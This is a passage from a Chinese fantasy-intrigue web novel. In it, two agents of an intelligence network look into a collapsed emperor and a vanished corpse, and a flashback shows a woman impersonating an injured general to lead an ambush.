顾岁寒不是很有这方面的雅兴,不由得皱眉:“我只会皮毛,可现在不是下棋的时候。”
谢停舟被拒绝,倒也不以为意,自顾自地将两色棋都打开,挑出一枚黑棋下了起来:“可依在下看,此时就是下棋的时候。”
顾岁寒无奈,可谢停舟说得没错,她这个执棋的名头虽然响,但落到实处其实也就是个受宋安澜差遣的棋子而已。如今宋安澜顾不上她,她自然也落得清闲。
她坐到了棋盘另一边,拿起白子随便找了个落点,方道:“我不是自谦,这棋盘上的道理我是真的只知一二,将军同我手谈,恐怕无法尽兴。”
谢停舟闻言微微一笑,心说有求于我时怎么就叫将军了。但他面上不显,只是再落一子,摇头道:“无妨,打发时间而已。今日一事疑点颇多,你我都是局外人,何必掺和他们懂行之人的手谈呢?”
顾岁寒奇道:“此话该当何讲?”
谢停舟将方才怀里的阵盘往半空一抛,那玉盘便悬于半空悠悠旋转,盘中机栝之声咔咔不绝。声停之后,谢停舟才开口道:“夜间与执棋分别之后,在下同宋将军来到此处查验陛下的情况。但要我拙见,陛下昏倒与什么魂魄之伤无关,只是连日操劳以至身体虚不受补,前几日人参汤喝多了,一时气血不足晕倒罢了。”
顾岁寒认出刚刚谢停舟新开了一个隔音的阵法。一时间整个屋子有如沉入水下一般,外面的声音都朦胧了起来。她放下心来,说话声音也不像之前那样收敛,只是目瞪口呆道:“啊?当真?”
“八-九不离十。”谢停舟伸手示意棋盘,“执棋,落子。”
顾岁寒这才意识到刚刚自己听入神了没有跟棋,瞟了眼棋盘随手下了一子。谢停舟等她落子,才继续说道:“我出师后就没怎么碰过医道了,但魂术还是弄得清的。陛下魂魄完整,内府中正平和,并没有魂魄损伤的迹象。”
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说完之后他看了眼棋盘,略加思索后落了子。顾岁寒想着别的事,没急着跟,手上拈了一子无意识的把-玩。小小的琉璃棋在她四指间腾挪翻飞,谢停舟被吸引了目光,盯着那棋的残影看,便听得顾岁寒说:“可是这没道理啊,宫中御医那么多,没一个看出来皇帝不应该喝那么多人参的?他……是真的晕过去了?”
谢停舟一眼就看穿了她心中所想:“真的,我用针试过了。不仅如此,他鼾声如雷,我觉得他应当十分放松,应当不是在装晕试探各方势力。”
顾岁寒心说也是,敌国使臣就在眼皮子底下,要是装晕试探宋安澜的话风险也太大了。她想了想,另起话头问:“那陛下的事,你跟宋将军说了吗?”
谢停舟点头:“说了。听完之后将军也没什么表示,先把能聚集起来的臣子都押在殿里了,以免生乱。”
那宋安澜应当是自己有数了,恐怕用不着自己操心。顾岁寒放下心来,找了个位置把棋下了。空气一时之间安静了下来,两人就这样你来我往地走了十几步棋。
顾岁寒手上在陪谢停舟下棋,心里还在惦念着外面的事,因而棋路也是一片混乱,是不是就走神忘了落子。谢停舟似乎也并不在意,只在顾岁寒又一次忘了棋时轻轻出声提醒:“执棋。”
谁料声音刚落,顾岁寒忽然想起了什么似的坐直了:“不对。沈和正呢?他被殿下的人带走了,可刚刚殿中没有他们一行人啊?”
谢停舟失笑:“他也在,只不过他终归是外人,和群臣共处一室也不合适,将军将他安排到另一处偏殿照顾了。”
可顾岁寒却并没有安心的意思,目光灼灼地盯着他:“殿下确定自己把昨天在场所有的臣子都叫来了吗?没有遗漏的?”
“也不是没有吧……”谢停舟略略思索,“韩尚书和公主就没有来,刚刚你在殿里听见她发脾气就是因为这个。这也不稀奇,韩玉青和将军政见不合,特别是对北周一事上,将军主战,他主和,我们两边平时没少因为这个争吵。其余的……没有了,当天与宴的臣子都在殿上,足足四十人呢,一些家眷虽然没有叫过来,但是也派了人去看管。”
那这就不对了。顾岁寒从怀里掏出之前画的那两张像,摊开到棋盘上,因为动作过快还带翻了装白棋的棋篓:“那此人是谁?我记得昨天他在席上,可他现在在沈和正房中,你们为什么没有发现他不见了?”
谢停舟没有管翻倒的棋篓,而是细细看起了画。他的目光先是落到了那幅坐佛像上,顾岁寒注意到他的眉头很明显一跳,随后将目光又移到了另外一幅上。他来回看了好几遍,才抬起头来,不确定地问顾岁寒:“……此二人是同一人?”
“是。”顾岁寒说,随后她把昨天白天和这人目光上的交锋以及今天凌晨在沈和正屋里的所见所闻大致交代了一番。谢停舟侧耳听着,眉头却是越皱越紧,直到顾岁寒说完,他才开口道:“这就不对了。你说他昨天在宴席上,可我刚刚细细想来朝中并无这么一号人物。要是非要说有这么一号人物的话,我昨天似乎在蓝仆射身边见过这个人,应该是他比较器重的一个家仆?”
他见顾岁寒脸上明显露出了迷茫,补充解释道:“蓝仆射名叫蓝闻,是韩玉青那一科的主考官,韩尚书高中之后便正式拜他为师,两人颇为投契。现下蓝闻年事已高,手上的权力基本都交到了韩玉青手上。这便是韩玉青目前是朝中江南文臣首脑的原因。”
谢停舟这么一说,顾岁寒就渐渐将朝中形式和落棋阁藏书阁中的情报册一一对应了起来。她喃喃道:“你若这样说,我恐怕知道画中人是谁了。他是蓝闻的管家,名叫鲁纳,早年其实是蓝闻的同窗,屡试不第、家中清贫才委身做了管家,和蓝闻关系颇为要好,亦师亦友。那此番一来他吃过昨天赏给众臣的炙肉便也能解释了,那肉很有可能是蓝闻分给他的。可是,他为什么会夜会沈和正?”
谢停舟一边听她说,一边蹲下来把刚刚散落在地的棋子收回篓中。闻言他停下了手中动作,抬起头来看向还呆呆站在原地的顾岁寒:“执棋的意思是,蓝闻很有可能和北周有勾结?”
顾岁寒缓缓摇头:“不应该呀,蓝闻的家人就是在战乱中被北周流寇所杀的,他为什么会勾结北周?”
小小的偏殿里又一次安静了下来。没有人能解释顾岁寒的疑问,连她自己脑中都是一团浆糊,谢停舟耐心地把棋子一粒粒捡回去,放回了桌上,又将画移开,准备把被打乱的棋局复原。挪画时,他的余光扫过那幅坐佛图,没忍住疑惑,轻轻出声:“咦?”
顾岁寒的思路被他打断,见他在看那幅画,于是问道:“这幅画怎么了吗?”
谢停舟修长的手抚过画上的人脸,疑道:“这画我好像在哪见过……似乎是在军中?”
21. 菩萨蛮 三
“不可能,”顾岁寒下意识地反驳,“这幅画是我刚画完的,除我之外你是第一个看的。”
“哦,”谢停舟意识到自己说的话有歧义,连忙摆手,“我不是说这幅画,我是说这画中的像,我好像见过。”
顾岁寒绕到他身后,跟他一起看这幅画,不解道:“这就是我照着鲁纳坐在榻上的样子画的啊。若论姿势,各地的坐佛像不都是这样的吗,难不成还有什么特色不成?”
谢停舟没搭话,仔仔细细将这画又从头到尾看了好几遍,才有些确定地说:“不是的。执棋应当知道,中原佛法是从天竺传来,在流传过程中几经演化,才有了现在的教义。滇国也有佛法,但他们的佛与中原的佛不甚相同。中原的佛像大多宽脸圆身,见之有慈悲感,滇国佛像则更加瘦削,面目也更多样,甚至会有邪恶相的佛像。”
他说着,将画像推向顾岁寒那边,以便她看得更清楚,另一只手模仿着画中人的动作,手放在胸-前,掌心竖直立起,但食指却微微弯曲:“最重要的是,这个手势,我只在滇国佛像身上见过,中原佛像要么双手合十,要么一手五指合拢立起,没见过单单食指弯曲的。”【注】
顾岁寒顺着他的话回忆了片刻,发现他说的确实有理:“那你的意思是,鲁纳被摆放成了一个滇国佛像的样子?”
谢停舟点头:“不过也有可能并不是别人摆的,而是他自己在死前做出了这个动作。就我所知,滇国有一些虔诚的信徒会在死前特意摆出佛像姿势,并叮嘱家人以此动作将自己下葬,据说这样便可以往生极乐。”
顾岁寒感觉此事越查,自己头上的雾水越多了。倘若谢停舟说得无误,这鲁纳确乎是死在了沈和正房中,那沈和正为什么要莫名其妙杀这么一个无足轻重的小人物?又为什么要在他死后给他上香?
她兀自思考着,谢停舟见她恐怕是在谋划她自己的主意,便没有出声打扰,默默地按照记忆中的样子还原被打乱的棋盘。
正收拾着,那阵盘中支持它运转的灵力耗尽,自己咔咔收了起来回到了谢停舟手上。外面的声音陡然大了起来,谢停舟听见宋安澜似乎正在指挥宫人们给在场的大臣们上午膳。他余光中看见顾岁寒侧耳听着门外,随后不知想起了什么似的,忽然出声:“你确定沈和正被殿下手下的人看管得好好的,不会偷溜出去,对吗?”
谢停舟笃定道:“不会的,我还特意叫了这会来上林苑的黑棋们都去看着了,保证人时刻在视线范围内,要发现他不见了会来向我示警。”
“好,”在谢停舟震惊的目光下,顾岁寒三下五除二爬上榻拉开窗翻过窗棂,回过头来在外面对他招手,“你也出来,咱们再回沈和正院子里看看鲁纳的尸体。”
两人回去用的时间比顾岁寒一个人来的时间少了不少,因为顾岁寒厚颜无-耻地蹭了谢停舟的飞剑。
为防过于引人注目,谢停舟将剑放得极低,几乎是贴着地御剑飞行的。半路上,他忽然想起什么似的,回头问顾岁寒:“之前我看执棋脉象,内功修为都算得上深厚,御剑应该没问题才是,为何执棋刚刚同我说你无法御剑?”
顾岁寒也是颇为摸不着头脑:“我也不知道,之前在落棋阁的院子里也练过几次,每次人没上剑之前剑在半空还算稳当,一踩上去剑就开始发-抖,换了好几把习剑都这样。”
说话间,前路一块突兀的山石拦住了去路,好在谢停舟反应快,神念一动带着剑险险绕过阻碍。可他平时自己御剑惯了,忘了后面还带了个人。顾岁寒方才因为不熟不好意思把手搭在他身上,被这么一甩却也是顾不上礼貌了,手忙脚乱间直接抓上了谢停舟的腰侧。
不得不说,谢停舟作为儒将,虽然外面看上去文质彬彬,腰这么一抓却是坚硬如石,很明显身上还是带了功夫的。不过顾岁寒手刚抓上去,就明显感觉手底下的肌肉绷紧了,很明显是个拒绝的姿态,所以平稳下来后,她很快又把手松开了,只是暗暗把气息下沉,重心扎稳,以防下次类似意外发生时自己又要叨扰人家。
不知是不是顾岁寒的错觉,她手松开之后,谢停舟很明显也跟着微微松了口气。谢停舟似乎也觉得自己表现过于明显,怕顾岁寒多想,欲盖弥彰地解释道:“抱歉,我腰上被外人摸容易发痒,不是嫌恶执棋的意思。”
顾岁寒闻言不由得轻轻笑了一下,心说什么腰上痒,你就是在为姬泠守节,不喜欢旁的人触碰罢了。但她也没直直点破,只是说:“我倒是发现谢将军格外喜欢说抱歉,一天天的跟别人从早抱歉到晚,懂得人知道将军是讲礼数,不知道的都觉得将军嘴里的抱歉不值钱不真心了。”
这话她说得半认真半打趣,本意只是为了缓和一下刚刚两人之间尴尬的氛围,谁知对方却当了真,慌乱道:“抱歉,但我真是真心……”
话刚出口,他就听见背后的人又笑了一声,才意识到自己又说了抱歉,只好无奈地跟着笑了起来:“我……”
“好啦,将军,我说着玩笑的。”顾岁寒发现这有礼的小古板真是有意思,笑得几乎是上气不接下气。谢停舟实在有些摸不着头脑,但既然对方在笑,只好也跟着笑了起来。
两人都沉浸在刚刚的事里无法自拔。飞剑迅速穿过林间,谁都没注意到密林掩映间,一道冷冷的目光循着谢停舟那把颇有特色的荧光剑,死死盯着两人的身影,直到剑身随着山势一拐,消失在了山石之间。
笑够了,顾岁寒指挥着谢停舟避开沈和正的院子,把剑停在了宋安澜暂居之处的后方,轻巧地从剑上蹦了下来。她看着谢停舟行云流水地收剑入鞘,顺口问:“这剑长得真别致,不知它叫什么?”
“它?”谢停舟愣了一下,低头看向了自己的剑,目光中有一丝难以察觉的柔情,“它本是一块天生地长的奇石,没有名字。后来阿泠给它起了名字,叫海云。”
顾岁寒又一次猝不及防地听见了
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姬泠的名字,有种路边流浪汉被塞了一嘴蜜糖的复杂感觉:“……啊,好名字,跟这剑真配。”
谢停舟听她语气不对,才意识到自己似乎有些失礼:“抱……抱歉,不过阿泠也是见它之光辉有如夏日海潮,才给它起了这个名字,我听后也觉得配,所以给它打了剑铭。”
他见顾岁寒听到这话之后有些愣神,未免尴尬,主动道:“嗯……那咱们还是从沈和正暂居的这处小院后墙翻进去?”
顾岁寒心不在焉地点点头,谢停舟得了指令,连忙率先绕过宋安澜院子后墙朝着山下走去。顾岁寒在后面跟着,目光不受控制地落在了谢停舟腰侧的剑上,心中还惦念着姬泠对剑的比喻,心中的怪异之感越发强烈。
难道是因为表姐妹的关系,她和姬泠如此心意相通?
还是说在某个遥远的午后,姬泠也和她手舞足蹈地说过谢停舟这把漂亮的剑,才让她在失忆后的今天,如同潜意识般地想到了同一种形容?
两人一前一后,心思各异的走到了沈和正的院墙下,顾岁寒才如梦方醒地叫住了谢停舟:“等……等一下,你在这里等着我就可以,咱们两个声势太浩大了,没有必要。我进去再看看,你在外面替我望风就行。”
谢停舟答应下来,老老实实地站在墙下,看着她三步并作两步上了墙,猫似的轻巧地落了地。随后墙那边传来一阵细碎地奚奚索索的声音,谢停舟猜测她应当是翻窗进了屋。
没过多久,一阵相似的声音传来,谢停舟抬头看过去,顾岁寒的身影出现在了墙头。他注意到她脸色十分难看,待她落了地,低声问:“怎么了?”
顾岁寒没说话,只是朝着宋安澜的院子走去。谢停舟亦步亦趋地跟上,两人走出去十几步,顾岁寒才压低声音开了口,语气中满是不可置信:“鲁纳不见了,地上的香盆还在。”
谢停舟万万没想到会是这个答案,诧异道:“不见了?是被人挪走了吗?”
“不,”顾岁寒摇头,“我看了地上的灰尘痕迹,他是自己走的,门口的牵铃阵的线从里面断了,说明他应当不知道门口的陷阱,就是直愣愣的出去了!”
谢停舟只听过她大概地描述昨晚的事,对铃阵这些细节有些不明所以,谨慎地没有开口。顾岁寒却是心知肚明,沉着脸走进宋安澜的院门,在谢停舟也进来后把门死死关上。关上之后她还是不放心,把一边的门闩也拿过来合上,咬破食指在上面画了一个加固的符咒。
或许她的猜测一开始就是错的。那铃阵根本就不是为了防外人,而是让沈和正能第一时间知道自己房里这尊大佛不在了。
可是,她迷茫地想,昨晚这人的呼吸心跳确乎是停了的,难道这世上真有什么法术,可以让死人复活不成?
她转过身来,对上谢停舟关切的视线,一道闪电划破她的思绪,她想起来了。
有的,谢停舟同她说的滇国秘术,不就是其中之一吗?
22. 菩萨蛮 四
“将军,”她皱着眉,神情中满是迷茫,“你说,这有没有可能是你之前跟我提的那个滇国赶尸秘术?”
谢停舟谨慎道:“我未曾亲眼见过,无法下定论。但单从执棋说的情况来看,很像。”
“我……”顾岁寒的思绪如乱麻,她尝试在里面理出一个线头来,“为什么最近连续发生的这么多事都和滇国有关?以前滇国也是这样的吗?”
“不,”谢停舟否认道,“滇国以妖修为主。妖修修行不易,天性谨慎,所以西南交战也不多。除非天气酷热,滇国境内灵气被耗干,否则妖修一般不会和人类修士沟通往来。这也是我第一次在我朝境内见到这么多有关滇国的事物。”
顾岁寒心说这也太奇怪了,之前都没有,怎么现在我一要查就这么多。她若有所思道:“回城之后,你我二人先会阁里查查案卷吧,看看还有哪些和滇国相关的事。等北疆碎曦剑事了,咱们再去西面一趟。”
话一出口,她忽然想起来谢停舟这家伙似乎只对姬泠案子相关的事感兴趣,不由得大为头痛,揉了揉眉心:“那什么,将军……”
谢停舟却似乎知道她在担心什么似的,抢先开口:“执棋不必担心,我忝居侍棋一位,自然也应当在其位尽其事,执棋有什么指示尽管吩咐便是。”
“……行,”她深深地出了口气,也懒得计较这人到底是真心还是假意了,“姬泠的案子你也别担心,此去北疆,有什么线索我会立刻同你说的。”
这么一想,她现在要做的事真是越来越多了,姬泠的案子还没个头绪,碎曦剑还要找,西疆有疑团渐起……说起来她不是计划着找到碎曦剑,把自己失忆前的事了了不就立马归隐的吗!为什么这活越来越多了?
顾岁寒越想越是气不打一处来,但想想现在手头的事似乎都是自己给自己找的麻烦,又有些绝望起来。
那厢谢停舟得了保证,似乎又有些开心起来。他犹疑了一下才道:“其实,执棋,关于阿泠一案,我还有些想法……”
他话未说完,顾岁寒刚刚关上的门忽然被人大力敲响。她关门本是见尸体消失之后实在有些背后发凉,把门关了安心些。来者敲门又重又响,几乎吓了她一-大激灵。
便听得来人高声喊:“谢将军?谢将军?您在吗,我家将军有事相邀!”
顾岁寒走过去把门打开,门外的军士打扮的人从她手臂上方看到了谢停舟的脸,顿时喜笑颜开:“可算找到您了!我家将军说此事重要,您一定要过去听听,咱们走?”
这军士面生,顾岁寒没见过,而且听他话里意思,他和谢停舟还颇为亲昵。她回头把疑惑的目光投向谢停舟,谢停舟连忙解释道:“哦,这位是姬将军身边的人。博明,这是宋将军手下落棋阁的执棋顾梅臣姑娘。”
这叫博明的人听过她威名,顿时肃然起敬:“原来是顾执棋!一直久闻大名,没想到今日竟在此一见,实在是有缘,要不是我家将军急着找,我是一定要同执棋说说在下的钦慕之情的。”
顾岁寒被这人的热情整得摸不着头脑,谢停舟低声道:“博明以前在阿泠手下做事,当过很长一段时间黑棋,后来被将军要走了。”
博明听见了,铿锵有力道:“谢将军所言极是!”
这人可真是太正经了……顾岁寒扶额,偏头去看谢停舟。这人明显对他这个上司手下的性格十分了解,面色不变,只是提示道:“将军不是在找?咱们闲言少叙吧。”
果然,博明的心思立马被吸引走了:“正是!多谢将军提醒,在下见到执棋心神荡漾,差点忘了正事!速走速走!”
谢停舟冲她露出了一个抱歉的笑容,转身准备跟着博明出去,顾岁寒却忽然出声:“我也过去,有些事我打算同安澜说。”
谢停舟还没说什么,博明先热情道:“能与执棋同行,在下荣幸之至啊!”
谢停舟:“……好,你要跟我同乘一剑吗?”
她自然乐得偷闲,丝毫不以为耻地站到了谢停舟后面。博明倒是惊异地看了她一眼,似乎对偶像居然要跟别人共乘一剑这件事非常惊奇。不过很快他似乎就为自己找到了合理的解释,若无其事地转过了头。
三人两剑沿着顾岁寒和谢停舟两人来时的路线返回。走到半路时,谢停舟忽然低声同顾岁寒说:“对了,在下刚刚想起来,执棋要是一直无法御剑的话,不如练练御风试试?”
“御风?”顾岁寒睁大了眼睛,“但是一般人不都是从御剑练起吗,御剑都练不好的话,太急于求成练御风也不会有结果的吧。”
“不是的,学御剑和学御风并非严格的先后关系,但一般先学御剑是因为相比虚无缥缈,更加难以把控的风,剑常伴人左右,更容易与人神念相交。”
谢停舟伸出手,让风穿过自己的指缝:“但之前执棋跟我说,执棋已经能够使习剑稳定悬于半空,那靠神念控物的能力应该不差。我听闻有人不擅御剑的原因是‘和剑关系不好’,执棋或许也是?所以我才建议执棋试试御风。”
这理由可真是太猎奇了。顾岁寒感觉这也太儿戏了:“啊?为什么会有人和剑关系不好?”
谢停舟笑了一声:“这在下就不知道了,或许只是民间传闻也说不定。”
顾岁寒对此半信半疑,但决定回头试试看,反正她的御剑现在也是破罐子破摔。
山风吹得人有些发冷,顾岁寒乘别人的剑,不用自己出力,有些无所事事,顺口闲聊问:“要是过段时间陛下醒了,秋猎还会继续吗?还是说要打道回府了?”
“就在下所知,陛下和沈和正还有些讲和的条件没有商量好。”谢停舟说,“不过也就是这两天的事了,陛下厌战,江南学派本来就是主和派,此番也算是扬眉吐气了。如此君臣和乐,什么事推行得不快呢?”
他话说得豁达,语气却是别扭。顾岁寒沉默片刻:“此番讲和之后,真的能不打仗了吗。”
“在下觉得难。”谢停舟苦笑,“北周
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不像南盛这边重视契约,历朝历代毁约之事不在少数。此次讲和,既无质子,南盛也没许出边市一类的好处,几乎算是口头盟约了,如何能长久呢?”
她叹了口气,不再多说,只是转移话题道:“打仗与我倒是没有什么所谓,只是苦了将士和百姓。”
将士在边关出生入死,无数家庭因此残缺。百姓也随着战乱流离失所,青州靠北一线至今荒无人烟,只留断壁残垣。
中原百姓看似能逃过死劫,可战事带来的重赋和徭役也随之压-在了每个人肩头。只有那些本就坐于明堂上的大人物才能安然无恙不沾风雪,主战或是主和不过是他们在沙盘上的游戏,是权衡各方势力的筹码。
谢停舟长叹了口气,没有说什么。顾岁寒打趣他:“北疆倒是能闲下来一段时间了,你们西疆还不行呢,我听闻姬将军很快就要回军中了——”
说到姬昀,她忽然想起来了宋安澜腹中的孩子,话锋一转:“对了,说起姬将军,宋将军腹中的孩子怎么样了?难道说北疆暂时安定,她就真要把这个孩子生下来了吗?”
不知是不是顾岁寒的错觉,她话音刚落,谢停舟微微瞥了她一眼,那目光十分复杂,说不好是惊异还是同情。顾岁寒敏感道:“……怎么了吗?”
“哦,没什么,”谢停舟若无其事地移开了目光,“几天前陛下托将军找你来帮忙之后,宋将军就服药把孩子堕了,所以这两天她都避免动武。不过所幸她腹中胎儿月份还小,对将军身体影响应该不大。”
顾岁寒眨了眨眼,瞬间明白了其中门道。
之前宋礼百般劝说不让宋安澜堕胎,本质上是为了阻拦宋安澜回到北疆,但在那日之后奇迹般地松了口。那只能说明,宋安澜用某种条件,交换了自己的自由。
那个条件显而易见,就是把自己手下重伤初愈但是有面对沈和正经验的顾岁寒派去帮忙守卫宋礼那几日的安全。顾岁寒恍然大悟,怪不得宋安澜那天来求她的表情那么心虚。
谢停舟刚刚那样看她,恐怕是从她的提问中领会到了她其实并不知道自己被宋安澜当做一个条件交换出去的事情。
“哦,这样。”顾岁寒缓缓道,“那很好啊,那孩子来的不是时候,堕了也算是省心了。”
谢停舟闻言终于没忍住,回头认真看了她一眼:“……执棋不生气吗?”
“这有什么好生气的,”顾岁寒失笑,“多大点事,我替她高兴还来不及。这件事上我也算帮了她忙,回报了一些她当初从雪原中把我救出的恩情,如何算不上一件好事呢?将军,别一眼一眼瞟我了,看路吧,都快到了。”
谢停舟慢吞吞地“哦”了一声。她存了逗弄他的心思,挑-逗道:“怎么了?”
谢停舟道:“没什么,只是觉得……”
或许像顾岁寒、姬泠这样的才是真君子吧。真君子被朋友不声不响地利用了,也不会有什么抱怨。
徒留他这样的小人在旁边替别人抱不平。
23. 菩萨蛮 四
他其实追问过姬泠很多次,为什么甘心留在宋安澜身边,用一张假的面孔,顶着不能为外人道的身份,给一个或许也算不得非常看重的朋友做事呢?
姬泠每次听他这么说,都会惊异地睁大眼睛,哭笑不得地看着他:“你说什么啊,我学的落棋阁的本事,自然就该做落棋阁的人做的事。领兵打仗安澜比我更擅长,那自然就应该叫她做,我做好我能做的事不久可以了吗?”
“至于朋友……”她说到这里,脸上终于显出一些落寞来,“其实安澜就算很好的朋友吧?我将她看得很重,但不应该要求她也像我对待她那样拥有在她心里同等重要的地位,不是吗?”
那时她会看着谢停舟的眼睛,希望从他那里获得肯定的回答。谢停舟看着那漂亮的、杏核似的眼睛,明明知道那双眼睛的主人总是很擅长用各种无所谓的话语忽悠他,让他为她放心,却还是没忍住点了点头,低声说:“是。”
说这话时他的喉咙口像塞了一团棉花一样,堵住了其他没有诉诸于口的话。
其实姬泠说得很对,人不应该要求对方能回报自己同等澎湃热烈的感情,谢停舟也清楚这一点。
但他还是忍不住想去要求。他每每看到姬泠为了宋安澜的事牵肠挂肚,他心里就忍不住嫉妒得发疯。
姬泠得到了他肯定的答复,似乎也微微松了口气:“安澜她……”
接下来的话谢停舟已经听过很多次了。姬泠会说宋安澜其实已经很好了,她心里也把自己当做了很重要的朋友,计划过以后一起找个山清水秀的地方归隐……总而言之就是说一堆宋安澜的好。
他、她,还有宋安澜,明明他们在同一个学堂里长大,最后却因为道不同而分道扬镳。结果命运兜兜转转,最后让宋安澜和姬泠在同一处效力,他最终还是在时间上输给了这个其实称不上敌人的敌人。
他深吸了一口气,反复安慰自己,阿泠已经与他有了婚约,等明年挑好良辰吉日就能完婚;阿泠和宋安澜之间只是知己之情,和他不一样……
他已经用同样的理由安慰过自己很多次了。但记忆中的最后一次,这个理由没能安慰住他,让他冲口而出打断了姬泠的话:“不是的。”
姬泠的话被打断,愣了一下,却也只是软下声来,好声好气道:“怎么啦?又不是了。”
谢停舟几乎是咬牙切齿道:“宋安澜要是真把你当真心朋友,就不应该把你的军功揽在她身上,让你一个人背负吃闲饭的骂名。”
他说到这里姬泠微微张了张嘴,似乎想要解释,却被谢停舟加重语气强硬地打断了:”我说的不是平时那些小事,我是说宋酿失踪后那一场,明明是你带的队埋伏,重伤了邓飞英,为什么最后功劳和声望还是落到了宋酿身上?她什么都没做,却平白得了功勋,哪有这么占便宜的事?”
这话在他心里已经盘桓了许久,烂出了疮、淬出了毒,因而他说出后竟有些难言的畅快。可一时的畅快后他又有些后悔了——他这话几乎已经是明着挑拨离间了。
他面上装得强硬,却是偷偷觑着姬泠的神色。可她却也并不像他以为的那样生气,神色有些动摇,嘴上还是在替宋安澜解释:“那次我也是没有办法……酿姐失踪,安澜又被流矢伤了。我在军中又没有什么好名声无法服众,这才借了安澜的身份……”
“你为什么在军中没什么好名声?”谢停舟一针见血,“还不是因为平时你总是在干落棋阁的事,有什么意见也是背后给宋安澜,才导致所有人都以为你不务正业?说到底,宋安澜她要是真心为你好,为什么不把能说的你做的事说给外人听?”
是的,外界广泛传闻的宋安澜的成名之战,其实不全是宋安澜的功劳。
北周大军刚刚来犯时,她就定下了在学窝里埋伏的计划,但是还没等实施,她就在乱军中受了重伤。一道带着毒的流矢从背后穿过了她的肋骨,只要再歪两寸,她就没命了。
即便如此,宋安澜还是陷入了极深的昏迷。当时就在她身边的姬泠立即封-锁了消息,以免引发军心动荡。镇北军的所有人都以为宋安澜只是受了轻伤,只要将养片刻,很快就能回到沙场。
少数的几个知情-人都是姬泠自己在军中的心腹,连被叫来治伤的医师都是落棋阁自己的人。姬泠坐在宋安澜的床边,看着这一屋子等着自己发出指令的人,手心里全是冷汗。
她幼时在父母的要求下习武,父母死后在皇帝的指点下入学习文,后来又被现在的师父点走学白棋,出师后还是在张首晟手下做事,偶尔按照宋安澜的要求帮忙提供信息。虽说名义上也算是一方信息网的头头,但实际上很少脱离比自己更有能力的、亦或是更有魄力的人的指挥。
若论她干过的最叛逆的事情,只有一件因为长期处于顾岁寒的压制下在白棋里出不了头,顶着张首晟的劝阻转去了当时人才不算多的黑棋。但要细究这一行为背后最为本质的动机,那还是因为从小父母和她自己都对自己要求过于严苛,导致她完全不能接受自己总被顾岁寒压一头的事实。
这是她第一次在完全没有他人帮助的情况下独立做出指挥。
所有人都在等着她做出判断,战场上形势变化极快,镇北军显然不能在连失两位主帅的情况下行动。
外面有人来找宋安澜,但又担心贸然进帐会打扰到她养伤,于是只在外面喊:“将军!您伤还好吗?要紧吗?”
姬泠别无他法,只好学着宋安澜的声线,简短回道:“没事!让弟兄们不要担心!”
那人听完,瞬间放下了心,大声应道:“是!”然后噔噔噔跑了。
姬泠应完话,感到一阵难言的疲惫。她盯着宋安澜的脸,刚刚那句对答的话却如同一个一个小小的种子,在她心里忽然生长起来,随后
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以不可思议的速度生长,直至参天。
如果说,如果说……
她学过白棋,虽然能力肯定不如顾岁寒,但瞒瞒军中这些对宋家人俯首帖耳的大老粗还是可以的。
假如她扮作宋安澜,那是不是就能代替她应对北周?现下的危机是不是就能迎刃而解?
她几乎是一下子跳了起来,向不明所以的手下人们说出了自己的计划。落棋阁的棋子们打入阁内就被培养出了唯上峰命是从的个性,更别提这群人本来就算得上她的半个心腹。
没有人质疑她,她几乎是雀跃地完成了一系列易容。宋安澜比她高,不要紧,她可以踩一个底厚的靴子;宋安澜比她壮实,不要紧,她可以在甲胄里塞棉花,反正她只是去指挥又不是去暗杀,丧失一点灵活性也没问题。
她就这样,像一个第一次穿上大人衣服的小孩一样兴奋地站到了铜镜前。镜子里的人似乎毫无破绽,一样的身形,一样的面容。除了亲眼看到她变装的手下们,没有人会知道这皮囊之下是个冒牌货。
她踌躇满志地走向了帐门口,准备向整个镇北军宣布“自己”已然痊愈,却在伸手掀开帘子时硬生生顿住了。
她意识到了那个可怕的漏洞,那个致命的陷阱——
上万人的战场不是她在落棋阁里为之发愁的月考,她不像宋安澜自学堂出来后就在宋酿身边耳濡目染,她没有指挥战斗的经验。
而她的失误不再有自己的上峰帮自己承担。她的失误会造成无数人白白丧命,还会顺手把她扮演的宋安澜也带进无边深渊。
她承担得起吗?
姬泠的前二十多年,一直生活在师长为她搭建的避风港中,来到青州落棋阁后的事也算是顺风顺水——因为她只需要承担简单的信息归拢工作,棋子的派遣、变动以及具体的指令都不需要她操心。张首晟好像一只巨大的蜘蛛,在整个南盛境内结出一张巨大的网,网上的棋子们只需要听从他的指挥做自己那份事,便能让落棋阁这个巨大的情报信息网安然地运行。
跟在她背后的手下们看到她突然顿住,也不明所以地跟着停住了脚步。看她救救没有动作,有一人小心翼翼地喊她:“侍棋?”
帐外的人在等宋安澜出马,稳定军心;帐内的人在等他们的直系上司给他们一个具体的指挥,好进行下一步的动作。
两边的人都在眼巴巴地等着她。
姬泠感觉脑子一热,一掀帘子,高声道:“众将士听令!”
在外面等候依旧的人们乌泱泱地跪下,甲胄声响成一片。
阳光映着铁甲,反射出一片粼粼的光。姬泠的手心里全是冷汗,强压住声音里的颤-抖:“北周大军,看似来势汹汹,实则盛久必衰,悍然之势不能持续,只要我军同心协力,必能度过眼下难关!”
众人的士气被她这一番话鼓舞,纷纷应道:“是!”
24. 五陵年少
其实要后来的姬泠回头看当时自己的选择,恐怕也会觉得荒唐。那一整件事从头到尾最称得上不幸中的万幸的事是,宋安澜重伤之前提出的一整个计划还算完备,姬泠那一场埋伏堪称功成身退。
但她也为这次伏击付出了堪称惨痛的代价——那个雪窝子里有一个天晴时雪水融化留下的污水坑。众人顶着寒风,半个身子都泡在水里,待了半日有余。其他男人还好,姬泠那两天却是月事刚结束,在雪堆水坑里这么一冻,哪怕她修道习武身强体壮,回去之后也足足又是腹痛又是发热地在床上辗转了十来天。
她在病中时,宋安澜也渐渐苏醒了。她昏迷时,为防姬泠不在时她忽然醒来露破绽,她身边是有姬泠的人时刻在旁边看顾着的。
姬泠等她醒来后偷偷找那手下过来打听了。宋安澜醒来之后问清楚了事情的经过,愣了一会,问了问姬泠现在的情况,然后就若无其事地出帐处理战后收尾了。
姬泠听手下汇报完,也说不好自己心里是什么滋味,挥了挥手让手下忙活自己的去了。等整个帐子里只剩她一个人之后,她在榻上翻了个身,重重地叹了口气。
故事到此已经是最好的结局了。她从入落棋阁的那一刻就知道了,自己注定要做那些别人都不知道的事,再伟大的功勋也不能大肆宣扬。
如果她一直为落棋阁效力到死的话,很有可能后世史书就以“姬氏女”这样的描述把她寥寥带过,成为一个无功无过的贵族女。
但是,但是……
要是能被人知道就好了。
要是能像姬酿那样,有人为她写诗歌颂,有人赞她武德耀世就好了。
